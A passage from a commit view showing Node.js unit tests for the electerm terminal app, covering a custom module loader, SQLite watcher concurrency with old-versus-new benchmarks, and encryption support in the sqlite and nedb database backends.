chore: import upstream snapshot with attribution

This commit is contained in:
wehub-resource-sync
2026-07-13 12:46:20 +08:00
commit eb21b65815
830 changed files with 113645 additions and 0 deletions
+79
View File
@@ -0,0 +1,79 @@
const { test, describe, beforeEach, afterEach } = require('node:test')
const assert = require('assert/strict')
const path = require('path')
const fs = require('fs')
const { customRequire } = require('../../src/app/lib/custom-require')
const testFolder = path.join(__dirname, 'custom-require-test-modules')
describe('customRequire', () => {
beforeEach(() => {
process.env.CUSTOM_MODULES_FOLDER_PATH = testFolder
if (fs.existsSync(testFolder)) {
fs.rmSync(testFolder, { recursive: true, force: true })
}
})
afterEach(() => {
// if (fs.existsSync(testFolder)) {
// fs.rmSync(testFolder, { recursive: true, force: true })
// }
delete process.env.CUSTOM_MODULES_FOLDER_PATH
})
test('should require a built-in module from nodejs default require', async () => {
const os = await customRequire('os')
assert.ok(os.platform)
assert.ok(os.type)
})
test('should require a custom module from customModulesFolderPath when isCustomModule is true', async () => {
const customModulePath = path.join(testFolder, 'node_modules', 'test-custom-module')
fs.mkdirSync(customModulePath, { recursive: true })
fs.writeFileSync(path.join(customModulePath, 'package.json'), JSON.stringify({ name: 'test-custom-module', main: 'index.js' }))
fs.writeFileSync(path.join(customModulePath, 'index.js'), 'module.exports = { custom: true, value: 123 }')
const result = await customRequire('test-custom-module', { isCustomModule: true })
assert.strictEqual(result.custom, true)
assert.strictEqual(result.value, 123)
})
test('should use customModulesFolderPath from options when provided', async () => {
const customPath = path.join(__dirname, 'custom-test-folder')
fs.mkdirSync(path.join(customPath, 'node_modules', 'test-custom-module'), { recursive: true })
fs.writeFileSync(
path.join(customPath, 'node_modules', 'test-custom-module', 'package.json'),
JSON.stringify({ name: 'test-custom-module', main: 'index.js' })
)
fs.writeFileSync(
path.join(customPath, 'node_modules', 'test-custom-module', 'index.js'),
'module.exports = { fromOption: true }'
)
const result = await customRequire('test-custom-module', {
customModulesFolderPath: customPath,
isCustomModule: true
})
assert.strictEqual(result.fromOption, true)
fs.rmSync(customPath, { recursive: true, force: true })
})
test('should throw error when downloadModule is false and module not found', async () => {
await assert.rejects(
async () => {
await customRequire('nonexistent-module-xyz', { downloadModule: false })
},
(err) => {
return err.code === 'MODULE_NOT_FOUND' || err.message.includes('nonexistent-module-xyz')
}
)
})
test('should download module from npm when not found and downloadModule is true', async () => {
const result = await customRequire('lodash', { downloadModule: true })
assert.ok(result.clone)
assert.ok(result.without)
})
})
+587
View File
@@ -0,0 +1,587 @@
/**
* DB Concurrency Tests
*
* Simulates the pattern from src/client/store/watch.js where multiple
* autoRun watchers fire concurrently, each doing sequential remove/update/insert
* operations against the SQLite backend (DatabaseSync).
*
* The concern: dbAction in src/app/lib/sqlite.js is an async function wrapping
* synchronous DatabaseSync calls. Multiple concurrent callers (different watchers
* for the same or different dbNames) can interleave their operations since each
* await yields back to the event loop. There is no application-level queue or lock.
*
* Uses Node.js built-in test runner (node:test).
*/
const { test, describe, beforeEach, afterEach } = require('node:test')
const assert = require('node:assert')
const { resolve } = require('node:path')
const fs = require('node:fs')
const os = require('node:os')
let dbAction
let cleanup
function createTestDb () {
const tmpDir = fs.mkdtempSync(resolve(os.tmpdir(), 'electerm-test-'))
const dbFolder = resolve(tmpDir, 'users', 'testuser')
fs.mkdirSync(dbFolder, { recursive: true })
const { DatabaseSync } = require('node:sqlite')
const mainDbPath = resolve(dbFolder, 'electerm.db')
const dataDbPath = resolve(dbFolder, 'electerm_data.db')
const mainDb = new DatabaseSync(mainDbPath)
const dataDb = new DatabaseSync(dataDbPath)
const tables = [
'bookmarks', 'bookmarkGroups', 'addressBookmarks',
'terminalThemes', 'lastStates', 'data', 'quickCommands',
'log', 'dbUpgradeLog', 'profiles', 'workspaces',
'history', 'terminalCommandHistory', 'aiChatHistory', 'autoRunWidgets'
]
for (const table of tables) {
const db = table === 'data' ? dataDb : mainDb
db.exec(`CREATE TABLE IF NOT EXISTS \`${table}\` (_id TEXT PRIMARY KEY, data TEXT)`)
}
function getDatabase (dbName) {
return dbName === 'data' ? dataDb : mainDb
}
function uid () {
return Math.random().toString(36).slice(2) + Date.now().toString(36)
}
async function action (dbName, op, ...args) {
if (op === 'compactDatafile') return
if (!tables.includes(dbName)) {
throw new Error(`Table ${dbName} does not exist`)
}
const db = getDatabase(dbName)
if (op === 'find') {
const stmt = db.prepare(`SELECT * FROM \`${dbName}\``)
const rows = stmt.all()
return (rows || []).map(row => {
const r = JSON.parse(row.data || '{}')
return { ...r, _id: row._id }
})
} else if (op === 'findOne') {
const query = args[0] || {}
const stmt = db.prepare(`SELECT * FROM \`${dbName}\` WHERE _id = ? LIMIT 1`)
const row = stmt.get(query._id)
if (!row) return null
const r = JSON.parse(row.data || '{}')
return { ...r, _id: row._id }
} else if (op === 'insert') {
const inserts = Array.isArray(args[0]) ? args[0] : [args[0]]
const inserted = []
for (const doc of inserts) {
const _id = doc._id || doc.id || uid()
const copy = { ...doc }
delete copy._id
delete copy.id
const data = JSON.stringify(copy)
const stmt = db.prepare(`INSERT OR REPLACE INTO \`${dbName}\` (_id, data) VALUES (?, ?)`)
stmt.run(_id, data)
inserted.push({ ...doc, _id })
}
return Array.isArray(args[0]) ? inserted : inserted[0]
} else if (op === 'remove') {
const query = args[0] || {}
const stmt = db.prepare(`DELETE FROM \`${dbName}\` WHERE _id = ?`)
const res = stmt.run(query._id)
return res.changes
} else if (op === 'update') {
const query = args[0]
const updateObj = args[1]
const options = args[2] || {}
const { upsert = false } = options
const qid = query._id || query.id
const newData = updateObj.$set || updateObj
const _id = qid
const copy = { ...newData }
delete copy._id
delete copy.id
const data = JSON.stringify(copy)
let res
if (upsert) {
const stmt = db.prepare(`REPLACE INTO \`${dbName}\` (_id, data) VALUES (?, ?)`)
res = stmt.run(_id, data)
} else {
const stmt = db.prepare(`UPDATE \`${dbName}\` SET data = ? WHERE _id = ?`)
res = stmt.run(data, qid)
}
return res.changes
}
}
return {
action,
cleanup: () => {
mainDb.close()
dataDb.close()
fs.rmSync(tmpDir, { recursive: true, force: true })
}
}
}
/**
* OLD watcher pattern (before fix): sequential one-by-one operations.
* This is what caused the app to hang on large imports.
*/
async function simulateWatcherOld (dbName, action, { added, updated, removed }) {
for (const item of removed) {
await action(dbName, 'remove', { _id: item.id })
}
for (const item of updated) {
await action(dbName, 'update', { _id: item.id }, { $set: item }, { upsert: false })
}
for (const item of added) {
await action(dbName, 'insert', item)
}
const allItems = await action(dbName, 'find', {})
const newOrder = allItems.map(d => d._id)
await action('data', 'update',
{ _id: `${dbName}:order` },
{ $set: { value: newOrder } },
{ upsert: true }
)
}
/**
* NEW watcher pattern (after fix): batch insert + parallel remove/update + running guard.
* Matches the updated src/client/store/watch.js.
*/
function createWatcherNew (action) {
const running = {}
return async function simulateWatcherNew (dbName, opts) {
if (running[dbName]) return
running[dbName] = true
try {
const { added, updated, removed } = opts
await Promise.all([
...removed.map(item => action(dbName, 'remove', { _id: item.id })),
...updated.map(item => action(dbName, 'update', { _id: item.id }, { $set: item }, { upsert: false })),
added.length ? action(dbName, 'insert', added) : Promise.resolve()
])
const allItems = await action(dbName, 'find', {})
const newOrder = allItems.map(d => d._id)
await action('data', 'update',
{ _id: `${dbName}:order` },
{ $set: { value: newOrder } },
{ upsert: true }
)
} finally {
running[dbName] = false
}
}
}
// Default for backward compat — instantiated in beforeEach
let simulateWatcher
describe('SQLite DB concurrency (DatabaseSync)', function () {
beforeEach(function () {
const db = createTestDb()
dbAction = db.action
cleanup = db.cleanup
simulateWatcher = createWatcherNew(dbAction)
})
afterEach(function () {
cleanup()
})
test('should handle single watcher with many inserts', async function () {
const items = Array.from({ length: 100 }, (_, i) => ({
id: `item-${i}`, name: `Item ${i}`, value: i
}))
await simulateWatcher('bookmarks', {
added: items, updated: [], removed: []
})
const all = await dbAction('bookmarks', 'find', {})
assert.strictEqual(all.length, 100)
})
test('should handle concurrent watchers on different dbNames', async function () {
// Simulates: store.bookmarks and store.history change at the same time
// Two autoRun watchers fire concurrently
const bookmarks = Array.from({ length: 50 }, (_, i) => ({
id: `bm-${i}`, name: `Bookmark ${i}`
}))
const history = Array.from({ length: 50 }, (_, i) => ({
id: `h-${i}`, url: `http://example.com/${i}`
}))
const results = await Promise.allSettled([
simulateWatcher('bookmarks', { added: bookmarks, updated: [], removed: [] }),
simulateWatcher('history', { added: history, updated: [], removed: [] })
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Watcher failed: ${r.reason}`)
}
const bmAll = await dbAction('bookmarks', 'find', {})
const hAll = await dbAction('history', 'find', {})
assert.strictEqual(bmAll.length, 50)
assert.strictEqual(hAll.length, 50)
})
test('should handle concurrent watchers on the SAME dbName', async function () {
// This is the real risk scenario: two autoRun watchers for 'bookmarks'
// fire at nearly the same time (e.g. rapid store mutations).
// Each watcher computes its own diff and runs remove/update/insert.
// They interleave because each await yields to the event loop.
// Pre-seed with 20 items
const seed = Array.from({ length: 20 }, (_, i) => ({
id: `item-${i}`, name: `Original ${i}`
}))
await simulateWatcher('bookmarks', { added: seed, updated: [], removed: [] })
// Watcher 1: update items 0-9, remove items 10-14, add new items
const watcher1Removed = seed.slice(10, 15).map(d => ({ id: d.id }))
const watcher1Updated = seed.slice(0, 10).map(d => ({ ...d, name: `Updated-by-W1 ${d.id}` }))
const watcher1Added = Array.from({ length: 5 }, (_, i) => ({
id: `w1-new-${i}`, name: `Added by W1 ${i}`
}))
// Watcher 2: update items 5-15, remove items 16-19, add new items
const watcher2Removed = seed.slice(16, 20).map(d => ({ id: d.id }))
const watcher2Updated = seed.slice(5, 16).map(d => ({ ...d, name: `Updated-by-W2 ${d.id}` }))
const watcher2Added = Array.from({ length: 5 }, (_, i) => ({
id: `w2-new-${i}`, name: `Added by W2 ${i}`
}))
// Fire both concurrently - no errors should occur
const results = await Promise.allSettled([
simulateWatcher('bookmarks', {
added: watcher1Added, updated: watcher1Updated, removed: watcher1Removed
}),
simulateWatcher('bookmarks', {
added: watcher2Added, updated: watcher2Updated, removed: watcher2Removed
})
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Watcher failed: ${r.reason?.message || r.reason}`)
}
// Verify final state is consistent (no corruption, no missing rows)
const final = await dbAction('bookmarks', 'find', {})
// All items should exist (some may have stale data from interleaving, but no DB error)
assert.ok(final.length > 0, 'Should have items remaining')
// Verify no duplicate _id entries
const ids = final.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries should exist')
})
test('should handle rapid fire: running guard prevents duplicate work', async function () {
// Simulates: store.bookmarks changes rapidly (e.g. import, bulk edit)
// The running guard ensures only one watcher cycle runs per dbName.
// Concurrent calls are skipped — this prevents the cascading duplicate work
// that caused the app to get stuck on large imports.
const promises = []
for (let batch = 0; batch < 10; batch++) {
const items = Array.from({ length: 10 }, (_, i) => ({
id: `batch-${batch}-item-${i}`, name: `Batch ${batch} Item ${i}`, batch
}))
promises.push(
simulateWatcher('bookmarks', { added: items, updated: [], removed: [] })
)
}
const results = await Promise.allSettled(promises)
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Batch failed: ${r.reason?.message || r.reason}`)
}
const all = await dbAction('bookmarks', 'find', {})
// Only one watcher cycle ran due to the running guard
assert.ok(all.length > 0, 'At least one batch should be inserted')
assert.ok(all.length <= 100, 'Not all batches may run (guard skips concurrent)')
const ids = all.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries')
})
test('should handle interleaved insert and remove on same table', async function () {
// Pre-seed
const seed = Array.from({ length: 30 }, (_, i) => ({
id: `item-${i}`, name: `Item ${i}`
}))
await simulateWatcher('bookmarks', { added: seed, updated: [], removed: [] })
// Concurrently: one watcher removes old items, another adds new items
const toRemove = seed.slice(0, 15).map(d => ({ id: d.id }))
const toAdd = Array.from({ length: 15 }, (_, i) => ({
id: `new-${i}`, name: `New ${i}`
}))
const results = await Promise.allSettled([
simulateWatcher('bookmarks', { added: [], updated: [], removed: toRemove }),
simulateWatcher('bookmarks', { added: toAdd, updated: [], removed: [] })
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
const final = await dbAction('bookmarks', 'find', {})
const ids = final.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries')
})
test('should handle concurrent updates to the same item', async function () {
// Both watchers update the same bookmark concurrently
await dbAction('bookmarks', 'insert', { id: 'shared-item', name: 'Original', count: 0 })
const w1Update = [{ id: 'shared-item', name: 'W1-update', count: 1 }]
const w2Update = [{ id: 'shared-item', name: 'W2-update', count: 2 }]
const results = await Promise.allSettled([
simulateWatcher('bookmarks', { added: [], updated: w1Update, removed: [] }),
simulateWatcher('bookmarks', { added: [], updated: w2Update, removed: [] })
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
// Item should still exist with one of the two values (last-write-wins)
const item = await dbAction('bookmarks', 'findOne', { _id: 'shared-item' })
assert.ok(item, 'Item should still exist')
assert.ok(
item.name === 'W1-update' || item.name === 'W2-update',
`Name should be from one of the writers, got: ${item.name}`
)
})
test('should handle interleaved operations across data and bookmarks (order update)', async function () {
// The watcher always writes to both the dbName table AND the data table
// (for the :order record). Concurrent watchers writing to 'data' for
// different order keys should not conflict.
const bm = Array.from({ length: 10 }, (_, i) => ({ id: `bm-${i}`, name: `BM ${i}` }))
const hist = Array.from({ length: 10 }, (_, i) => ({ id: `h-${i}`, url: `http://${i}` }))
const cmd = Array.from({ length: 10 }, (_, i) => ({ id: `cmd-${i}`, cmd: `ls ${i}` }))
const results = await Promise.allSettled([
simulateWatcher('bookmarks', { added: bm, updated: [], removed: [] }),
simulateWatcher('history', { added: hist, updated: [], removed: [] }),
simulateWatcher('terminalCommandHistory', { added: cmd, updated: [], removed: [] })
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
// Verify all order records exist in the data table
const bmOrder = await dbAction('data', 'findOne', { _id: 'bookmarks:order' })
const hOrder = await dbAction('data', 'findOne', { _id: 'history:order' })
const cmdOrder = await dbAction('data', 'findOne', { _id: 'terminalCommandHistory:order' })
assert.ok(bmOrder, 'bookmarks:order should exist')
assert.ok(hOrder, 'history:order should exist')
assert.ok(cmdOrder, 'terminalCommandHistory:order should exist')
})
test('should handle bulk insert of 500 items - running guard allows one cycle', async function () {
// 5 concurrent watcher calls for the same dbName — only one runs
const promises = []
for (let w = 0; w < 5; w++) {
const items = Array.from({ length: 100 }, (_, i) => ({
id: `w${w}-item-${i}`, name: `Watcher ${w} Item ${i}`, watcher: w, idx: i
}))
promises.push(
simulateWatcher('bookmarks', { added: items, updated: [], removed: [] })
)
}
const results = await Promise.allSettled(promises)
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
const all = await dbAction('bookmarks', 'find', {})
// Only one watcher ran due to the guard
assert.ok(all.length > 0, 'At least one batch should be inserted')
assert.ok(all.length <= 500, 'Not all batches may run (guard skips concurrent)')
const ids = all.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries')
})
test('should handle full simulation: add + update + remove concurrently', async function () {
// Most realistic scenario: different watchers doing mixed operations
// Pre-seed with 30 items
const seed = Array.from({ length: 30 }, (_, i) => ({
id: `item-${i}`, name: `Item ${i}`, value: i
}))
await simulateWatcher('bookmarks', { added: seed, updated: [], removed: [] })
// Watcher A: remove 5, update 5, add 5
const wA = {
removed: seed.slice(0, 5).map(d => ({ id: d.id })),
updated: seed.slice(5, 10).map(d => ({ ...d, name: `WA-updated-${d.id}` })),
added: Array.from({ length: 5 }, (_, i) => ({ id: `wa-new-${i}`, name: `WA new ${i}` }))
}
// Watcher B: remove 5, update 5, add 5
const wB = {
removed: seed.slice(10, 15).map(d => ({ id: d.id })),
updated: seed.slice(15, 20).map(d => ({ ...d, name: `WB-updated-${d.id}` })),
added: Array.from({ length: 5 }, (_, i) => ({ id: `wb-new-${i}`, name: `WB new ${i}` }))
}
// Watcher C: remove 5, update 5, add 5
const wC = {
removed: seed.slice(20, 25).map(d => ({ id: d.id })),
updated: seed.slice(25, 30).map(d => ({ ...d, name: `WC-updated-${d.id}` })),
added: Array.from({ length: 5 }, (_, i) => ({ id: `wc-new-${i}`, name: `WC new ${i}` }))
}
const results = await Promise.allSettled([
simulateWatcher('bookmarks', wA),
simulateWatcher('bookmarks', wB),
simulateWatcher('bookmarks', wC)
])
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
const final = await dbAction('bookmarks', 'find', {})
// Should have items: 30 original - 15 removed + 15 added = 30
// (but due to interleaving, exact count depends on timing)
assert.ok(final.length > 0, 'Should have items remaining')
// No duplicate IDs
const ids = final.map(d => d._id)
const uniqueIds = new Set(ids)
assert.strictEqual(ids.length, uniqueIds.size, 'No duplicate _id entries')
// Verify order record exists
const order = await dbAction('data', 'findOne', { _id: 'bookmarks:order' })
assert.ok(order, 'Order record should exist')
assert.ok(Array.isArray(order.value), 'Order value should be an array')
})
test('should handle all watched dbNames concurrently', async function () {
// Simulate the worst case: ALL dbNamesForWatch change simultaneously
// This is what happens when store state changes trigger multiple watchers
const dbNames = [
'bookmarks', 'bookmarkGroups', 'addressBookmarks',
'terminalThemes', 'lastStates', 'quickCommands',
'history', 'terminalCommandHistory', 'aiChatHistory', 'autoRunWidgets'
]
const promises = dbNames.map((name, dbIdx) => {
const items = Array.from({ length: 20 }, (_, i) => ({
id: `${name}-${i}`, name: `${name} item ${i}`, dbIdx, i
}))
return simulateWatcher(name, { added: items, updated: [], removed: [] })
})
const results = await Promise.allSettled(promises)
for (const r of results) {
assert.strictEqual(r.status, 'fulfilled', `Failed: ${r.reason?.message || r.reason}`)
}
// Verify each table has its items
for (const name of dbNames) {
const all = await dbAction(name, 'find', {})
assert.strictEqual(all.length, 20, `${name} should have 20 items`)
}
// Verify all order records exist in the data table
for (const name of dbNames) {
const order = await dbAction('data', 'findOne', { _id: `${name}:order` })
assert.ok(order, `${name}:order should exist`)
assert.strictEqual(order.value.length, 20, `${name}:order should have 20 entries`)
}
})
})
describe('Benchmark: old (sequential) vs new (batched+parallel)', function () {
let benchDbAction
let benchWatcherNew
let benchCleanup
beforeEach(function () {
const db = createTestDb()
benchDbAction = db.action
benchCleanup = db.cleanup
benchWatcherNew = createWatcherNew(benchDbAction)
})
afterEach(function () {
benchCleanup()
})
for (const count of [100, 500, 1000]) {
test(`insert ${count} bookmarks - OLD (sequential one-by-one)`, async function () {
const items = Array.from({ length: count }, (_, i) => ({
id: `bm-${i}`, name: `Bookmark ${i}`, url: `http://example.com/${i}`
}))
const start = performance.now()
await simulateWatcherOld('bookmarks', benchDbAction, { added: items, updated: [], removed: [] })
const elapsed = (performance.now() - start).toFixed(1)
const all = await benchDbAction('bookmarks', 'find', {})
assert.strictEqual(all.length, count)
console.log(` OLD ${count} inserts: ${elapsed}ms`)
})
test(`insert ${count} bookmarks - NEW (batched + parallel)`, async function () {
const items = Array.from({ length: count }, (_, i) => ({
id: `bm-${i}`, name: `Bookmark ${i}`, url: `http://example.com/${i}`
}))
const start = performance.now()
await benchWatcherNew('bookmarks', { added: items, updated: [], removed: [] })
const elapsed = (performance.now() - start).toFixed(1)
const all = await benchDbAction('bookmarks', 'find', {})
assert.strictEqual(all.length, count)
console.log(` NEW ${count} inserts: ${elapsed}ms`)
})
test(`mixed ops ${count} items - OLD (sequential)`, async function () {
const seed = Array.from({ length: count / 2 }, (_, i) => ({
id: `existing-${i}`, name: `Existing ${i}`, value: i
}))
await simulateWatcherOld('bookmarks', benchDbAction, { added: seed, updated: [], removed: [] })
const toRemove = seed.slice(0, count / 8).map(d => ({ id: d.id }))
const toUpdate = seed.slice(count / 8, count / 4).map(d => ({ ...d, name: `Updated ${d.id}` }))
const toAdd = Array.from({ length: count / 2 }, (_, i) => ({
id: `new-${i}`, name: `New ${i}`
}))
const start = performance.now()
await simulateWatcherOld('bookmarks', benchDbAction, { added: toAdd, updated: toUpdate, removed: toRemove })
const elapsed = (performance.now() - start).toFixed(1)
console.log(` OLD ${count} mixed ops: ${elapsed}ms`)
})
test(`mixed ops ${count} items - NEW (batched + parallel)`, async function () {
const seed = Array.from({ length: count / 2 }, (_, i) => ({
id: `existing-${i}`, name: `Existing ${i}`, value: i
}))
await benchWatcherNew('bookmarks', { added: seed, updated: [], removed: [] })
const toRemove = seed.slice(0, count / 8).map(d => ({ id: d.id }))
const toUpdate = seed.slice(count / 8, count / 4).map(d => ({ ...d, name: `Updated ${d.id}` }))
const toAdd = Array.from({ length: count / 2 }, (_, i) => ({
id: `new-${i}`, name: `New ${i}`
}))
const start = performance.now()
await benchWatcherNew('bookmarks', { added: toAdd, updated: toUpdate, removed: toRemove })
const elapsed = (performance.now() - start).toFixed(1)
console.log(` NEW ${count} mixed ops: ${elapsed}ms`)
})
}
})
+354
View File
@@ -0,0 +1,354 @@
/**
* Unit tests for nedb.js and sqlite.js enc/dec support.
* Uses Node's built-in test runner (node:test).
*
* Run with:
* node --test test/unit/db-enc.spec.js
*/
const { test, describe, before, after } = require('node:test')
const assert = require('node:assert/strict')
const os = require('os')
const fs = require('fs')
const path = require('path')
// ---------------------------------------------------------------------------
// Simple reversible enc/dec for tests (XOR-rotate + base64)
// ---------------------------------------------------------------------------
// const TEST_ENC_PREFIX = 'enc:'
function simpleEnc (str) {
return Buffer.from(str).toString('base64')
}
function simpleDec (str) {
return Buffer.from(str, 'base64').toString('utf8')
}
const encOpts = { enc: simpleEnc, dec: simpleDec }
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
function makeTmpDir () {
return fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-test-'))
}
// ---------------------------------------------------------------------------
// SQLite tests (Node >= 22)
// ---------------------------------------------------------------------------
describe('sqlite createDb', () => {
const { createDb } = require('../../src/app/lib/sqlite')
// --- without enc/dec ---
describe('without enc/dec', () => {
let db
let tmpDir
before(() => {
tmpDir = makeTmpDir()
db = createDb(tmpDir, 'testuser')
})
after(() => {
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('insert and find returns original data', async () => {
const doc = { host: 'example.com', port: 22 }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
assert.ok(inserted._id, 'inserted document should have _id')
assert.equal(inserted.host, 'example.com')
const results = await db.dbAction('bookmarks', 'find')
assert.equal(results.length, 1)
assert.equal(results[0].host, 'example.com')
assert.equal(results[0].port, 22)
})
test('findOne returns correct document', async () => {
const doc = { host: 'other.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'other.com')
})
test('update modifies data', async () => {
const doc = { host: 'update-me.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'update', { _id: inserted._id }, { $set: { host: 'updated.com' } })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'updated.com')
})
test('remove deletes document', async () => {
const doc = { host: 'remove-me.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const changes = await db.dbAction('bookmarks', 'remove', { _id: inserted._id })
assert.ok(changes >= 1)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found, null)
})
test('non-enc table (lastStates) stores data normally', async () => {
const doc = { key: 'value' }
const inserted = await db.dbAction('lastStates', 'insert', doc)
const found = await db.dbAction('lastStates', 'findOne', { _id: inserted._id })
assert.equal(found.key, 'value')
})
})
// --- with enc/dec ---
describe('with enc/dec', () => {
let db
let tmpDir
let dbFolder
before(() => {
tmpDir = makeTmpDir()
dbFolder = path.join(tmpDir, 'electerm', 'users', 'testuser')
db = createDb(tmpDir, 'testuser', encOpts)
})
after(() => {
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('inserted bookmarks data is encrypted on disk', async () => {
const doc = { host: 'secret.com', password: 'hunter2' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
assert.ok(inserted._id)
// Read raw sqlite file to confirm the value is not plain text
const dbPath = path.join(dbFolder, 'electerm.db')
const raw = fs.readFileSync(dbPath, 'latin1')
assert.ok(!raw.includes('hunter2'), 'raw db should NOT contain plaintext password')
assert.ok(!raw.includes('secret.com'), 'raw db should NOT contain plaintext host')
})
test('find returns decrypted data', async () => {
const results = await db.dbAction('bookmarks', 'find')
const found = results.find(r => r.host === 'secret.com')
assert.ok(found, 'should find the document with decrypted host')
assert.equal(found.password, 'hunter2')
})
test('findOne returns decrypted data', async () => {
const doc = { host: 'findone.com', user: 'alice' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'findone.com')
assert.equal(found.user, 'alice')
})
test('update encrypts new value and find decrypts it', async () => {
const doc = { host: 'todo-update.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'update', { _id: inserted._id }, { $set: { host: 'updated-enc.com' } })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'updated-enc.com')
})
test('data table: only userConfig record is encrypted', async () => {
// userConfig should be encrypted
await db.dbAction('data', 'insert', { _id: 'userConfig', value: 'topSecret123' })
// other data record should NOT be encrypted
await db.dbAction('data', 'insert', { _id: 'version', value: '1.0.0' })
const dbPath = path.join(dbFolder, 'electerm_data.db')
const raw = fs.readFileSync(dbPath, 'latin1')
assert.ok(!raw.includes('topSecret123'), 'userConfig value should NOT be plaintext on disk')
assert.ok(raw.includes('1.0.0'), 'non-userConfig data should be plaintext on disk')
})
test('data find returns decrypted userConfig, plain others', async () => {
const results = await db.dbAction('data', 'find')
const uc = results.find(r => r._id === 'userConfig')
const ver = results.find(r => r._id === 'version')
assert.ok(uc, 'should find userConfig')
assert.equal(uc.value, 'topSecret123', 'userConfig value should be decrypted')
assert.ok(ver, 'should find version')
assert.equal(ver.value, '1.0.0', 'version value should be readable')
})
test('profiles table is encrypted', async () => {
const doc = { name: 'myProfile', secret: 'profileSecret' }
await db.dbAction('profiles', 'insert', doc)
const dbPath = path.join(dbFolder, 'electerm.db')
const raw = fs.readFileSync(dbPath, 'latin1')
assert.ok(!raw.includes('profileSecret'), 'profiles db should NOT contain plaintext secret')
})
test('non-enc table (quickCommands) is NOT encrypted', async () => {
const doc = { cmd: 'ls -la' }
await db.dbAction('quickCommands', 'insert', doc)
const dbPath = path.join(dbFolder, 'electerm.db')
const raw = fs.readFileSync(dbPath, 'latin1')
assert.ok(raw.includes('ls -la'), 'non-enc tables should store data as plaintext')
})
test('remove works on enc table', async () => {
const doc = { host: 'to-delete.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const changes = await db.dbAction('bookmarks', 'remove', { _id: inserted._id })
assert.ok(changes >= 1)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found, null)
})
})
})
// ---------------------------------------------------------------------------
// nedb tests (works on all Node versions)
// ---------------------------------------------------------------------------
describe('nedb createDb', () => {
const { createDb } = require('../../src/app/lib/nedb')
// --- without enc/dec ---
describe('without enc/dec', () => {
let db
let tmpDir
before(() => {
tmpDir = makeTmpDir()
db = createDb(tmpDir, 'testuser')
})
after(() => {
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('insert and find returns original data', async () => {
const doc = { host: 'example.com', port: 22 }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
assert.ok(inserted._id)
assert.equal(inserted.host, 'example.com')
const results = await db.dbAction('bookmarks', 'find', {})
assert.ok(results.some(r => r.host === 'example.com'))
})
test('findOne returns correct document', async () => {
const doc = { host: 'other.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'other.com')
})
test('update modifies data', async () => {
const doc = { host: 'update-me.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'update', { _id: inserted._id }, { $set: { host: 'updated.com' } })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'updated.com')
})
test('remove deletes document', async () => {
const doc = { host: 'remove-me.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'remove', { _id: inserted._id })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found, null)
})
})
// --- with enc/dec ---
describe('with enc/dec', () => {
let db
let tmpDir
before(() => {
tmpDir = makeTmpDir()
db = createDb(tmpDir, 'testuser', encOpts)
})
after(() => {
fs.rmSync(tmpDir, { recursive: true, force: true })
})
test('inserted bookmarks data is encrypted on disk', async () => {
const doc = { host: 'secret.com', password: 'hunter2' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
assert.ok(inserted._id)
// Read raw nedb file to confirm the value is not plain text
const nedbPath = path.join(
tmpDir, 'electerm', 'users', 'testuser', 'electerm.bookmarks.nedb'
)
const raw = fs.readFileSync(nedbPath, 'utf8')
assert.ok(!raw.includes('hunter2'), 'nedb file should NOT contain plaintext password')
assert.ok(!raw.includes('secret.com'), 'nedb file should NOT contain plaintext host')
})
test('find returns decrypted data', async () => {
const results = await db.dbAction('bookmarks', 'find', {})
const found = results.find(r => r.host === 'secret.com')
assert.ok(found, 'should find the document with decrypted host')
assert.equal(found.password, 'hunter2')
})
test('findOne returns decrypted data', async () => {
const doc = { host: 'findone.com', user: 'bob' }
